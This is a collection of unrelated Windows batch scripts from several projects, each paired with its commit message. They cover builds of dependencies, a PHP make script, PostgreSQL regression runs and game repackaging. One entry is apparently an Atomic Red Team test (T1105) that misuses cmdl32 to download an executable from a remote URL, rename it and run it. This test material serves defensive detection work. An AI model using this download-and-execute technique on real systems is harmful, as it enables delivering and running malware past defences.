echo "Using %DEVENV% compiler"

set PWD=%CD%
set BASEDIR=%PWD%\..
echo "Working dir: " %PWD%
echo "Basedir: " %BASEDIR%
set PATH=%PATH%;%PWD%\cmake-2.8.12-win32-x86\bin;%PWD%\premake4.3
cd %BASEDIR%\deps\boost_1_54_0
call bootstrap.bat
b2 toolset=%B2_TOOLSET% --with-filesystem --with-exception --with-system --with-thread --with-date_time --with-program_options
rd /S /Q %BASEDIR%\deps\glfw-3.0.3\build
md %BASEDIR%\deps\glfw-3.0.3\build
cd %BASEDIR%\deps\glfw-3.0.3\build
%CMAKE_CMD% ..
%DEVENV% GLFW.sln /Build
%DEVENV% GLFW.sln /Build "Release"
cd %PWD%
rd /S /Q %BASEDIR%\deps\zlib-1.2.8\build
md %BASEDIR%\deps\zlib-1.2.8\build
cd %BASEDIR%\deps\zlib-1.2.8\build
%CMAKE_CMD% ..
%DEVENV% zlib.sln /Build
%DEVENV% zlib.sln /Build "Release"
copy zconf.h ..
rd /S /Q %BASEDIR%\deps\lpng166\build
md %BASEDIR%\deps\lpng166\build
cd %BASEDIR%\deps\lpng166\build
set ZLIB_INCLUDE_DIR=%BASEDIR%\deps\zlib-1.2.8\
set ZLIB_LIBRARY=%BASEDIR%\deps\zlib-1.2.8\build\Debug\zlibd.lib
%CMAKE_CMD% -DZLIB_LIBRARY:FILEPATH=%ZLIB_LIBRARY% -DZLIB_INCLUDE_DIR:PATH=%ZLIB_INCLUDE_DIR% ..
%DEVENV% libpng.sln /Build "Debug"
set ZLIB_LIBRARY=%BASEDIR%\deps\zlib-1.2.8\build\Release\zlib.lib
%CMAKE_CMD% -DZLIB_LIBRARY:FILEPATH=%ZLIB_LIBRARY% -DZLIB_INCLUDE_DIR:PATH=%ZLIB_INCLUDE_DIR% ..
%DEVENV% libpng.sln /Build "Release"
cd %BASEDIR%\deps\lpng166
copy scripts\pnglibconf.h.prebuilt pnglibconf.h
cd %PWD%

[m] fix of variable substitution in batch file


@ECHO OFF
SETLOCAL
SET command=%1
SET verbose=1

REM all
IF "%command%"=="all" (
	SET var=deployment_production
)

REM building application
IF "%command%"=="build" (
	REM create empty git repository
	IF NOT EXIST ".git" (
		call git init
	)
	REM granting permissions
	CALL :permissions
	REM run composer for the first time
	IF NOT EXIST "libraries/vendor/Numbers/Framework/System/Managers" (
		call :composer
	)
	REM process dependencies
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php dependency commit 0 1
	REM run composer for the second time
	call :composer
	REM granting permissions
	CALL :permissions
	REM deploying code in production mode
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php deployment production 0 1
)

REM ----------------------------------------------------------------------------------------------------------------
REM --- Dependencies -----------------------------------------------------------------------------------------------
REM ----------------------------------------------------------------------------------------------------------------
IF "%command%"=="dependency_test" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php dependency test "%verbose%"
)
IF "%command%"=="dependency_commit" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php dependency commit "%verbose%"
)

REM ----------------------------------------------------------------------------------------------------------------
REM --- Deployment commands ----------------------------------------------------------------------------------------
REM ----------------------------------------------------------------------------------------------------------------
IF "%command%"=="deployment_production" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php deployment production "%verbose%"
)
IF "%command%"=="deployment_development" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php deployment development "%verbose%"
)

REM ----------------------------------------------------------------------------------------------------------------
REM --- Schema & migration commands --------------------------------------------------------------------------------
REM ----------------------------------------------------------------------------------------------------------------
IF "%command%"=="schema_test" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php schema test "%verbose%"
)
IF "%command%"=="schema_commit" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php schema commit "%verbose%"
)
IF "%command%"=="schema_drop" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php schema drop "%verbose%"
)
IF "%command%"=="migration_code_test" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_code test "%verbose%"
)
IF "%command%"=="migration_code_commit" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_code commit "%verbose%"
)
IF "%command%"=="migration_code_drop" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_code drop "%verbose%"
)
IF "%command%"=="migration_db_test" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_db test "%verbose%"
)
IF "%command%"=="migration_db_commit" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_db commit "%verbose%"
)
IF "%command%"=="migration_db_rollback" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_db rollback "%verbose%"
)

REM --------------------------------------------------------------------------------------------------------------------------------------------
REM --- Unit testing commands ------------------------------------------------------------------------------------------------------------------
REM --------------------------------------------------------------------------------------------------------------------------------------------
IF "%command%"=="unit_testing_application" (
	call phpunit --debug --configuration application/overrides/unit_tests/application.xml
)
IF "%command%"=="unit_testing_submodules" (
	call phpunit --debug --configuration application/overrides/unit_tests/submodules.xml
)

REM --------------------------------------------------------------------------------------------------------------------------------------------
REM --- Cache commands -------------------------------------------------------------------------------------------------------------------------
REM --------------------------------------------------------------------------------------------------------------------------------------------
IF "%command%"=="cache_drop" (
	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php cache drop "%verbose%"
)

REM --------------------------------------------------------------------------------------------------------------------------------------------
REM --- Help commands --------------------------------------------------------------------------------------------------------------------------
REM --------------------------------------------------------------------------------------------------------------------------------------------
IF "%command%"=="help" (
	echo "Available commands:"
REM	echo   Development commands:
REM	echo		make development_test - run a test php script from command line
REM	echo		make development_symlink_framework - link to numbers framework repositories
	echo "  Deployment commands:"
	echo "		make deployment_production - deploying code in production mode"
	echo "		make deployment_development - deploying code in development mode"
	echo "  Unit testing commands:"
	echo "		make unit_testing_application - test application"
	echo "		make unit_testing_submodules - test framework and submodules"
	echo "  Schema & migration commands:"
	echo "		make schema_test - test for changes between code and database"
	echo "		make schema_commit - commit changes from code to database"
	echo "		make schema_drop - drop schema in database (empty database)"
	echo "		make migration_code_test - test for changes between code and saved migrations"
	echo "		make migration_code_commit - commit changes from code to migrations"
	echo "		make migration_code_drop - drop migrations from the code"
	echo "		migration_db_test - test migration between code and database"
	echo "		migration_db_commit - commit changes from migrations to database"
	echo "		migration_db_rollback - rollback to particular migration"
	echo "  Dependencies:"
	echo "		make dependency_test - testing dependencies in test mode"
	echo "		make dependency_commit - commit dependency changes"
	echo "  Caches:"
	echo "		make cache_drop - reset caches"
	echo "  Verbose:"
	echo "		Some commands support verbose mode that would provide additional information, to enable - add "verbose=1" after make."
	echo "		For example: make verbose=1 schema_test"
)

REM force execution to quit at the end of the "main" logic
exit /B %ERRORLEVEL%

:permissions
	REM	@-chmod -R 0777 $(shell pwd);
	REM	@-chmod -R 0777 $(shell pwd)/../cache;
	REM	@-chmod -R 0777 $(shell pwd)/../documents;
exit /B 0

:composer
	chdir /D libraries
	IF EXIST "vendor" (
		rmdir vendor
	)
	call composer update --prefer-source
	chdir /D vendor
	for /f "tokens=* delims=" %%i in ('dir /s /b /a:d *.git') do (
		rd /s /q "%%i"
	)
	chdir /D ..
	chdir /D ..
exit /B 0

make file for windows

make file for windows


echo "generate protobuff files"

for /f "delims=" %%i in ('dir /b/a-d/oN *.proto') do "proto-gen/protoc.exe" -I=./ --cpp_out=dllexport_decl=LIBPROTOC_EXPORT:../ %%~ni.proto
for /f "delims=" %%i in ('dir /b/a-d/oN *.proto') do "proto-gen/protogen.exe" -i:%%i -o:cs/%%~ni.cs

pause

echo "generate protobuff files"

for /f "delims=" %%i in ('dir /b/a-d/oN *.proto') do "proto-gen/protoc.exe" -I=./ --cpp_out=dllexport_decl=LIBPROTOC_EXPORT:./ ./%%~ni.proto
for /f "delims=" %%i in ('dir /b/a-d/oN *.proto') do "proto-gen/protogen.exe" -i:%%i -o:cs/%%~ni.cs

pause

fix bat

fix bat

Former-commit-id: 0fb32905a32902bae01fac8103500222bd5d55f1
Former-commit-id: 79b8ec6014589fdfac9ded6ace682880d803ce77


fix bat

fix bat

Former-commit-id: f3a8de627027c3e4b02d11ef4f0bd1a347555e78 [formerly e6fd5d51ad4f1880822176f6b1ae3e4876ad32e8] [formerly 8f462dcca74e77c7220daa6d8767817ac0f4a41d [formerly 753f0fe788163d0e882ff0270bd23ab3198e697a]]
Former-commit-id: e94b070a5fd9a1a649ea60322a11b1969027cf59 [formerly 894a526ffc5aa97285d2c0df8c2105e17476e6e3]
Former-commit-id: 4113624764c1047da4d58f3081c80217210874a7
Former-commit-id: 1b9fc5488d99ef167cd8f5bc3bd6228983a03038


@ECHO OFF
REM Script taken from MPC-HC, https://github.com/mpc-hc/mpc-hc

SETLOCAL

PUSHD %~dp0

SET "COVDIR=H:\progs\thirdparty\cov-analysis-win64-6.6.1"
IF NOT EXIST "%COVDIR%\bin\cov-build.exe" (ECHO. & ECHO ERROR: Coverity not found & GOTO End)

CALL "%VS110COMNTOOLS%..\..\VC\vcvarsall.bat" x86

SET MSBUILD_SWITCHES=/nologo /consoleloggerparameters:Verbosity=minimal /maxcpucount^
 /nodeReuse:true /target:MediaInfoLib:Rebuild /property:Configuration="Release";Platform=Win32

"%COVDIR%\bin\cov-build.exe" --dir cov-int MSBuild "..\MSVC2012\MediaInfoLib.sln" %MSBUILD_SWITCHES%

IF EXIST "MediaInfoLib.tar" DEL "MediaInfoLib.tar"
IF EXIST "MediaInfoLib.tgz" DEL "MediaInfoLib.tgz"

:tar
tar --version 1>&2 2>NUL || (ECHO. & ECHO ERROR: tar not found & GOTO SevenZip)
tar czvf MediaInfoLib.tgz cov-int
GOTO End

:SevenZip
IF NOT EXIST "%PROGRAMFILES%\7za.exe" (ECHO. & ECHO ERROR: "%PROGRAMFILES%\7za.exe" not found & GOTO End)
"%PROGRAMFILES%\7za.exe" a -ttar MediaInfoLib.tar cov-int
"%PROGRAMFILES%\7za.exe" a -tgzip MediaInfoLib.tgz MediaInfoLib.tar
IF EXIST "MediaInfoLib.tar" DEL "MediaInfoLib.tar"

:End
POPD
ECHO. & ECHO Press any key to close this window...
PAUSE >NUL
ENDLOCAL
EXIT /B

Add a script to run coverity scan.

Add a script to run coverity scan.

git-svn-id: 294f12855175db510999321cff72188496f07bec@5915 45c5ae6f-87cc-4fd0-92ee-e4f023fd80da


@echo off

REM still to add: libsndfile, pyaudiolab, mlabwrap

REM CEBHACKALERT: seems like python24.dll doesn't always end up in c:\python24 - maybe if there's
REM already a python installation? Anyway, must make sure it's there!

REM Assumes we're going to c:\Python24; be careful to update everything if you decide to
REM change this. (Should have used a variable, but that can't cover the graphical installs)

set startdir=%CD%

REM ** GRAB PACKAGES IN COMMON WITH topographica\external

REM numpy.diff
copy ..\..\external\numpy.diff .

REM Pmw
..\util\gunzip -c ..\..\external\Pmw.tgz > ..\..\external\Pmw.tar
..\util\tar xvf ..\..\external\Pmw.tar
copy ..\..\external\Pmw .

REM bwidget
..\util\gunzip -c ..\..\external\pybwidget-0.1.2_1.8.0.tar.gz > ..\..\external\pybwidget-0.1.2_1.8.0.tar
..\util\tar xvf ..\..\external\pybwidget-0.1.2_1.8.0.tar
copy ..\..\external\pybwidget-0.1.2_1.8.0 .

REM Gnosis_Utils
..\util\gunzip -c ..\..\external\Gnosis_Utils-1.2.1.tar.gz > ..\..\external\Gnosis_Utils-1.2.1.tar
..\util\tar xvf ..\..\external\Gnosis_Utils-1.2.1.tar
copy ..\..\external\Gnosis_Utils-1.2.1 .

REM REM pyaudiolab
REM ..\util\gunzip -c ..\..\external\pyaudiolab-0.6.6.tar.gz > ..\..\external\pyaudiolab-0.6.6.tar
REM ..\util\tar xvf ..\..\external\pyaudiolab-0.6.6.tar
REM copy ..\..\external\pyaudiolab-0.6.6 .

REM REM CEBALERT: this should be down with the libfile
REM REM section, but by then I've lost track of where gunzip is!
REM ..\util\gunzip -c libsndfile-1.0.17.tar.gz > libsndfile-1.0.17.tar
REM ..\util\tar xvf libsndfile-1.0.17.tar

cd ..

REM CEBALERT: because of some path trouble with some of the installation
REM programs, we move to working in c:\create_python_topo.
xcopy /E /I create_python_topo c:\create_python_topo
xcopy /E /I util c:\create_python_topo\util
c:
cd \
cd create_python_topo

REM ** INSTALL PACKAGES

REM * python,tcl/tk
REM This ought to go through without asking any questions. If it doesn't, make sure to choose
REM NOT to register extensions when you are offered the choice.
REM The key thing is to have python24.dll installed in this directory, not into windows somewhere.
REM If it doesn't end up in c:\python24, you can actually just copy it in.
start /w msiexec /i python-2.4.4.msi ALLUSERS=0 TARGETDIR=c:\python24 ADDLOCAL=DefaultFeature,TclTk

REM * numpy
start /w numpy-1.0.2.win32-py2.4.exe

REM patch numpy
set storecpt=%cd%
cd c:\python24\Lib\site-packages
%storecpt%\util\patch.exe -p0 < %storecpt%\numpy.diff
cd %storecpt%

REM * matplotlib
start /w matplotlib-0.90.0.win32-py2.4.exe

REM * PIL (has jpeg already)
start /w PIL-1.1.5.win32-py2.4.exe

REM * scipy
start /w scipy-0.5.2.win32-py2.4.exe

REM * PMW
move Pmw c:\python24\Lib\site-packages

REM * bwidget
cd pybwidget-0.1.2_1.8.0\
c:\python24\python.exe setup.py install
cd..

REM * gnosis
cd Gnosis_Utils-1.2.1\
c:\python24\python.exe setup.py install
cd ..

REM * psyco
start /w psyco-1.5.2.win32-py2.4.exe

REM REM * ctypes
REM start /w ctypes-1.0.1.win32-py2.4.exe
REM
REM REM * libsndfile
REM move libsndfile-1.0.17\* c:\python24\libs

REM REM * pyaudiolab
REM REM cd pyaudiolab-0.6.6
REM REM c:\python24\python.exe setup.py install
REM cd ..

REM * weave
REM we just take it from scipy, since it's not available
REM separately as a binary (unless we ourselves build it).
xcopy /E /I c:\python24\Lib\site-packages\scipy\weave c:\python24\Lib\site-packages\weave

REM ** For fixedpoint, the patched version from unix is used.
REM ** CEBALERT: use the patch executable in utils to create the
REM patch from the diff and fixedpoint.tgz file in external\
move fixedpoint-0.1.2_patched.py c:\python24\Lib\site-packages\fixedpoint.py

xcopy /E /I mingw c:\python24\mingw\
util\gunzip c:\python24\mingw\*.gz
copy util\tar.exe c:\python24\mingw

cd \python24\mingw
tar xvf "c:\python24\mingw\gcc-core-3.4.2-20040916-1.tar"
tar xvf "c:\python24\mingw\gcc-g++-3.4.2-20040916-1.tar"
tar xvf "c:\python24\mingw\gcc-g77-3.4.2-20040916-1.tar"
tar xvf "c:\python24\mingw\w32api-3.6.tar"
tar xvf "c:\python24\mingw\mingw-runtime-3.9.tar"
tar xvf "c:\python24\mingw\binutils-2.15.91-20040904-1.tar"
del *.tar
del tar.exe

cd ..\..

rmdir /Q /S create_python_topo

echo.
echo.
echo Now test this has worked by renaming c:\Python24 to c:\python_topo
echo and replacing your copy of Topographica's python_topo with this new one.
echo To be sure this copy works correctly, you should make sure any other
echo copy of Topographica is uninstalled first (or try on a computer that does
echo not have Python installed).
echo.
echo If successful, tar.gz this python_topo and add it to cvs at
echo topographica-win\common\python_topo.tar.gz.
echo.
echo.
echo.
echo ** Before testing, you should proabably delete any previously compiled
echo c++ code from python24_compiled and python24_intermediate in:
echo %TEMP%
echo or:
echo %TMP%
echo.
pause

@echo off

REM still to add: libsndfile, pyaudiolab, mlabwrap

REM CEBHACKALERT: seems like python24.dll doesn't always end up in c:\python24 - maybe if there's
REM already a python installation? Anyway, must make sure it's there!

REM Assumes we're going to c:\Python24; be careful to update everything if you decide to
REM change this. (Should have used a variable, but that can't cover the graphical installs)

set startdir=%CD%

REM ** GRAB PACKAGES IN COMMON WITH topographica\external

REM numpy.diff
copy ..\..\external\numpy.diff .

REM Pmw
..\util\gunzip -c ..\..\external\Pmw.tgz > ..\..\external\Pmw.tar
..\util\tar xvf ..\..\external\Pmw.tar
copy ..\..\external\Pmw .

REM bwidget
..\util\gunzip -c ..\..\external\pybwidget-0.1.2_1.8.0.tar.gz > ..\..\external\pybwidget-0.1.2_1.8.0.tar
..\util\tar xvf ..\..\external\pybwidget-0.1.2_1.8.0.tar
copy ..\..\external\pybwidget-0.1.2_1.8.0 .

REM Gnosis_Utils
..\util\gunzip -c ..\..\external\Gnosis_Utils-1.2.1.tar.gz > ..\..\external\Gnosis_Utils-1.2.1.tar
..\util\tar xvf ..\..\external\Gnosis_Utils-1.2.1.tar
copy ..\..\external\Gnosis_Utils-1.2.1 .

REM REM pyaudiolab
REM ..\util\gunzip -c ..\..\external\pyaudiolab-0.6.6.tar.gz > ..\..\external\pyaudiolab-0.6.6.tar
REM ..\util\tar xvf ..\..\external\pyaudiolab-0.6.6.tar
REM copy ..\..\external\pyaudiolab-0.6.6 .

REM REM CEBALERT: this should be down with the libfile
REM REM section, but by then I've lost track of where gunzip is!
REM ..\util\gunzip -c libsndfile-1.0.17.tar.gz > libsndfile-1.0.17.tar
REM ..\util\tar xvf libsndfile-1.0.17.tar

cd ..

REM CEBALERT: because of some path trouble with some of the installation
REM programs, we move to working in c:\create_python_topo.
xcopy /E /I create_python_topo c:\create_python_topo
xcopy /E /I util c:\create_python_topo\util
c:
cd \
cd create_python_topo

REM ** INSTALL PACKAGES

REM * python,tcl/tk
REM This ought to go through without asking any questions. If it doesn't, make sure to choose
REM NOT to register extensions when you are offered the choice.
REM The key thing is to have python24.dll installed in this directory, not into windows somewhere.
REM If it doesn't end up in c:\python24, you can actually just copy it in.
start /w msiexec /i python-2.4.4.msi ALLUSERS=0 TARGETDIR=c:\python24 ADDLOCAL=DefaultFeature,TclTk

REM * numpy
start /w numpy-1.0.2.win32-py2.4.exe

REM patch numpy
set storecpt=%cd%
cd c:\python24\Lib\site-packages
%storecpt%\util\patch.exe -p0 < %storecpt%\numpy.diff
cd %storecpt%

REM * matplotlib
start /w matplotlib-0.90.1.win32-py2.4.exe

REM * PIL (has jpeg already)
start /w PIL-1.1.5.win32-py2.4.exe

REM * scipy
start /w scipy-0.5.2.win32-py2.4.exe

REM * PMW
move Pmw c:\python24\Lib\site-packages

REM * bwidget
cd pybwidget-0.1.2_1.8.0\
c:\python24\python.exe setup.py install
cd..

REM * gnosis
cd Gnosis_Utils-1.2.1\
c:\python24\python.exe setup.py install
cd ..

REM * psyco
start /w psyco-1.5.2.win32-py2.4.exe

REM REM * ctypes
REM start /w ctypes-1.0.1.win32-py2.4.exe
REM
REM REM * libsndfile
REM move libsndfile-1.0.17\* c:\python24\libs

REM REM * pyaudiolab
REM REM cd pyaudiolab-0.6.6
REM REM c:\python24\python.exe setup.py install
REM cd ..

REM * weave
REM we just take it from scipy, since it's not available
REM separately as a binary (unless we ourselves build it).
xcopy /E /I c:\python24\Lib\site-packages\scipy\weave c:\python24\Lib\site-packages\weave

REM ** For fixedpoint, the patched version from unix is used.
REM ** CEBALERT: use the patch executable in utils to create the
REM patch from the diff and fixedpoint.tgz file in external\
move fixedpoint-0.1.2_patched.py c:\python24\Lib\site-packages\fixedpoint.py

xcopy /E /I mingw c:\python24\mingw\
util\gunzip c:\python24\mingw\*.gz
copy util\tar.exe c:\python24\mingw

cd \python24\mingw
tar xvf "c:\python24\mingw\gcc-core-3.4.2-20040916-1.tar"
tar xvf "c:\python24\mingw\gcc-g++-3.4.2-20040916-1.tar"
tar xvf "c:\python24\mingw\gcc-g77-3.4.2-20040916-1.tar"
tar xvf "c:\python24\mingw\w32api-3.6.tar"
tar xvf "c:\python24\mingw\mingw-runtime-3.9.tar"
tar xvf "c:\python24\mingw\binutils-2.15.91-20040904-1.tar"
del *.tar
del tar.exe

cd ..\..

rmdir /Q /S create_python_topo

echo.
echo.
echo Now test this has worked by renaming c:\Python24 to c:\python_topo
echo and replacing your copy of Topographica's python_topo with this new one.
echo To be sure this copy works correctly, you should make sure any other
echo copy of Topographica is uninstalled first (or try on a computer that does
echo not have Python installed).
echo.
echo If successful, tar.gz this python_topo and add it to cvs at
echo topographica-win\common\python_topo.tar.gz.
echo.
echo.
echo.
echo ** Before testing, you should proabably delete any previously compiled
echo c++ code from python24_compiled and python24_intermediate in:
echo %TEMP%
echo or:
echo %TMP%
echo.
pause

Use matplotlib 0.90.1

Use matplotlib 0.90.1


mkdir %temp%\T1105
icacls %temp%\T1105 /deny %username%:(OI)(CI)(DE,DC)
set tmp=%temp%\T1105
echo [Connection Manager] > %temp%\T1105\setting.txt
echo CMSFile=setting.txt >> %temp%\T1105\setting.txt
echo ServiceName=AtomicTestService_CMD >> %temp%\T1105\setting.txt
echo TunnelFile=setting.txt >> %temp%\T1105\setting.txt
echo [Settings] >> %temp%\T1105\setting.txt
echo UpdateUrl=https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.004/bin/T1055.exe >> %temp%\T1105\setting.txt
cmdl32 /vpn /lan %temp%\T1105\setting.txt
icacls %temp%\T1105 /remove:d %username%
move %temp%\T1105\*.tmp %temp%\T1105\file.exe
%temp%\T1105\file.exe
timeout /T 10
Taskkill /IM notepad.exe /F
Taskkill /IM Calculator.exe /F

mkdir %temp%\T1105
icacls %temp%\T1105 /deny %username%:(OI)(CI)(DE,DC)
set tmp=%temp%\T1105
echo [Connection Manager] > %temp%\T1105\setting.txt
echo CMSFile=setting.txt >> %temp%\T1105\setting.txt
echo ServiceName=AtomicTestService_CMD >> %temp%\T1105\setting.txt
echo TunnelFile=setting.txt >> %temp%\T1105\setting.txt
echo [Settings] >> %temp%\T1105\setting.txt
echo UpdateUrl=https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.004/bin/T1055.exe >> %temp%\T1105\setting.txt
cmdl32 /vpn /lan %temp%\T1105\setting.txt
icacls %temp%\T1105 /remove:d %username%
move %temp%\T1105\*.tmp %temp%\T1105\file.exe
%temp%\T1105\file.exe
ping -n 10 127.0.0.1 >nul 2>&1
Taskkill /IM notepad.exe /F
Taskkill /IM Calculator.exe /F

Update timeout to ping (#1867)

T1105: Update timeout to ping (#1867)


@echo off
REM $PostgreSQL: pgsql/src/tools/msvc/vcregress.bat,v 1.4 2007/03/21 15:39:03 mha Exp $

SETLOCAL
SET STARTDIR=%CD%
if exist ..\..\..\src\tools\msvc\vcregress.bat cd ..\..\..
if exist src\tools\msvc\buildenv.bat call src\tools\msvc\buildenv.bat

set what=
if /I "%1"=="check" SET what=CHECK
if /I "%1"=="installcheck" SET what=INSTALLCHECK
if "%what%"=="" goto usage

SET CONFIG=Debug
if exist release\postgres\postgres.exe SET CONFIG=Release

copy %CONFIG%\refint\refint.dll contrib\spi\
copy %CONFIG%\autoinc\autoinc.dll contrib\spi\
copy %CONFIG%\regress\regress.dll src\test\regress\

SET PATH=..\..\..\%CONFIG%\libpq;%PATH%

SET TOPDIR=%CD%
cd src\test\regress
SET SCHEDULE=parallel
SET TEMPPORT=54321
IF NOT "%2"=="" SET SCHEDULE=%2

SET PERL5LIB=..\..\tools\msvc

if "%what%"=="INSTALLCHECK" ..\..\..\%CONFIG%\pg_regress\pg_regress --psqldir=..\..\..\%CONFIG%\psql --schedule=%SCHEDULE%_schedule --multibyte=SQL_ASCII --load-language=plpgsql --no-locale
if "%what%"=="CHECK" ..\..\..\%CONFIG%\pg_regress\pg_regress --psqldir=..\..\..\%CONFIG%\psql --schedule=%SCHEDULE%_schedule --multibyte=SQL_ASCII --load-language=plpgsql --no-locale --temp-install=./tmp_check --top-builddir=%TOPDIR% --temp-port=%TEMPPORT%
SET E=%ERRORLEVEL%

cd %STARTDIR%
exit /b %E%

:usage
echo "Usage: vcregress <check|installcheck> [schedule]"
goto :eof

@echo off
REM $PostgreSQL: pgsql/src/tools/msvc/vcregress.bat,v 1.5 2007/03/21 16:21:40 mha Exp $

SETLOCAL
SET STARTDIR=%CD%
if exist ..\..\..\src\tools\msvc\vcregress.bat cd ..\..\..
if exist src\tools\msvc\buildenv.bat call src\tools\msvc\buildenv.bat

set what=
if /I "%1"=="check" SET what=CHECK
if /I "%1"=="installcheck" SET what=INSTALLCHECK
if /I "%1"=="plcheck" SET what=PLCHECK
if "%what%"=="" goto usage

SET CONFIG=Debug
if exist release\postgres\postgres.exe SET CONFIG=Release

copy %CONFIG%\refint\refint.dll contrib\spi\
copy %CONFIG%\autoinc\autoinc.dll contrib\spi\
copy %CONFIG%\regress\regress.dll src\test\regress\

SET PATH=..\..\..\%CONFIG%\libpq;%PATH%

SET TOPDIR=%CD%
cd src\test\regress
SET SCHEDULE=parallel
SET TEMPPORT=54321
IF NOT "%2"=="" SET SCHEDULE=%2

SET PERL5LIB=..\..\tools\msvc

if "%what%"=="INSTALLCHECK" ..\..\..\%CONFIG%\pg_regress\pg_regress --psqldir=..\..\..\%CONFIG%\psql --schedule=%SCHEDULE%_schedule --multibyte=SQL_ASCII --load-language=plpgsql --no-locale
if "%what%"=="CHECK" ..\..\..\%CONFIG%\pg_regress\pg_regress --psqldir=..\..\..\%CONFIG%\psql --schedule=%SCHEDULE%_schedule --multibyte=SQL_ASCII --load-language=plpgsql --no-locale --temp-install=./tmp_check --top-builddir=%TOPDIR% --temp-port=%TEMPPORT%
if "%what%"=="PLCHECK" call :plcheck
SET E=%ERRORLEVEL%

cd %STARTDIR%
exit /b %E%

:usage
echo "Usage: vcregress <check|installcheck> [schedule]"
goto :eof

REM Check procedural languages
REM Some workarounds due to inconsistently named directories
:plcheck
cd ..\..\PL
FOR /D %%d IN (*) do if exist %%d\sql if exist %%d\expected (
   if exist ..\..\%CONFIG%\%%d call :oneplcheck %%d
   if errorlevel 1 exit /b 1
   if exist ..\..\%CONFIG%\pl%%d call :oneplcheck %%d
   if errorlevel 1 exit /b 1
)
goto :eof

REM Check a single procedural language
:oneplcheck
echo Checking %1
cd %1
SET PL=%1
IF %PL%==plpython SET PL=plpythonu
IF %PL%==tcl SET PL=pltcl

perl ../../tools/msvc/getregress.pl > regress.tmp.bat
call regress.tmp.bat
del regress.tmp.bat
..\..\..\%CONFIG%\pg_regress\pg_regress --psqldir=..\..\..\%CONFIG%\psql --no-locale --load-language=%PL% %TESTS%
set E=%ERRORLEVEL%
cd ..
exit /b %E%

Add support for running regression tests on procedural languages


@echo off

echo.
echo == Stripdown
echo.

set TARGET_DIR="%CD%\repackage"

echo.
echo === Stripping packages in %TARGET_DIR%
echo.

pushd repackage

echo.
echo === Stripping Unknown-Horizons
echo.

cd unknown-horizons

rem Remove all .pyc and .pyo files
del /S /Q *.pyc
del /S /Q *.pyo
del /Q unknown-horizons.wpr
del /Q stage_build_mac.py
del /Q CONTRIBUTING.md
rd /S /Q tests

del /Q Mypy.ini
del /Q .editorconfig
del /Q .coveragerc
del /Q .gitattributes
del /Q .gitignore
del /Q .isort.cfg
del /Q .travis.yml

rem Removing non-atlas graphics...
rd /S /Q content\gfx\base
rd /S /Q content\gfx\buildings
rd /S /Q content\gfx\units
rd /S /Q content\gfx\terrain

rem Removing dev stuff - Not needed folder for gamer version of installer
rd /S /Q development

rem Remove translation artifacts
del /S /Q "po\*.po~"

rem These files/folders may or may not be present
rem dir * /s/b | findstr __pycache__ | attrib +h +s +r
rd /S /Q __pycache__

cd..

echo.
echo === Stripping Python
echo.

cd Python37

del /Q NEWS.txt
rd /S /Q Doc
rd /S /Q Scripts
rd /S /Q tcl
rd /S /Q Tools

cd..

popd

@echo off

echo.
echo == Stripdown
echo.

set TARGET_DIR="%CD%\repackage"

echo.
echo === Stripping packages in %TARGET_DIR%
echo.

pushd repackage

echo.
echo === Stripping Unknown-Horizons
echo.

cd unknown-horizons

rem Remove all .pyc and .pyo files
del /S /Q *.pyc
del /S /Q *.pyo
del /Q unknown-horizons.wpr
del /Q stage_build_mac.py
del /Q CONTRIBUTING.md
rd /S /Q tests

del /Q Mypy.ini
del /Q .editorconfig
del /Q .coveragerc
del /Q .gitattributes
del /Q .gitignore
del /Q .isort.cfg
del /Q .travis.yml

rem Removing non-atlas graphics...
rd /S /Q content\gfx\base
rd /S /Q content\gfx\buildings
rd /S /Q content\gfx\units
rd /S /Q content\gfx\terrain

rem Removing dev stuff - Not needed folder for gamer version of installer
rd /S /Q development

rem Remove translation artifacts
del /S /Q "po\*.po~"

rem Remove __pycache__ folders and content
for /d /r . %%d in (__pycache__) do @if exist "%%d" rd /s/q "%%d"

cd..

echo.
echo === Stripping Python
echo.

cd Python37

del /Q NEWS.txt
rd /S /Q Doc
rd /S /Q Scripts
rd /S /Q tcl
rd /S /Q Tools

cd..

popd

fix "Remove __pycache__ folders and content"


@echo off
:: Copyright (c) 2012 - 2014, Andres Gomez Casanova (AngocA)
:: All rights reserved.
::
:: Redistribution and use in source and binary forms, with or without
:: modification, are permitted provided that the following conditions are met:
::
:: 1. Redistributions of source code must retain the above copyright notice,
::    this list of conditions and the following disclaimer.
:: 2. Redistributions in binary form must reproduce the above copyright notice,
::    this list of conditions and the following disclaimer in the documentation
::    and/or other materials provided with the distribution.
::
:: THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
:: AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
:: IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
:: ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
:: LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
:: CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
:: SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
:: INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
:: CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
